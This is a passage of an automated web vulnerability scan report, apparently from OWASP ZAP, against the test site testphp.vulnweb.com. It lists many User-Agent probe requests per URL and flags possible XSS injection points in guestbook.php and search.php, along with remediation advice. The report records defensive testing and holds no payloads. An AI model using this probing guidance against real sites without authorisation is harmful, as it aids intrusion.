Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other	

Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1

Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech

Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Método	GET

Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET

Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/images
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/robots.txt
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	

Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16

Evidence	
Other Info	
URL	http://testphp.vulnweb.com/secured
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	

Other Info	
URL	http://testphp.vulnweb.com/sitemap.xml
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	

Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other	

Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/userinfo.php
Método	POST
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
Instances	223
Solution	
Reference	https://owasp.org/wstg
CWE Id	
WASC Id	
Plugin Id	10104

Informativo	**User Controllable HTML Element Attribute (Potential XSS)**
Descrição	This check looks at user-supplied input in query string parameters and POST data to identify where certain HTML attribute values might be controlled. This provides hot-spot detection for XSS (cross-site scripting) that will require further review by a security analyst to determine exploitability.
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://testphp.vulnweb.com /guestbook.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: name=anonymous user The user-controlled value was: anonymous user
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://testphp.vulnweb.com /guestbook.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: submit=add message The user-controlled value was: add message
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://testphp.vulnweb.com/search. php?test=query appears to include user input in: a(n) [input] tag [name] attribute The user

	input found was: goButton=go The user-controlled value was: gobutton
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://testphp.vulnweb.com/search.php?test=query appears to include user input in: a(n) [input] tag [value] attribute The user input found was: goButton=go The user-controlled value was: go
Instances	4
Solution	Validate all input and sanitize output it before writing to any HTML attributes.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
CWE Id	20
WASC Id	20
Plugin Id	10031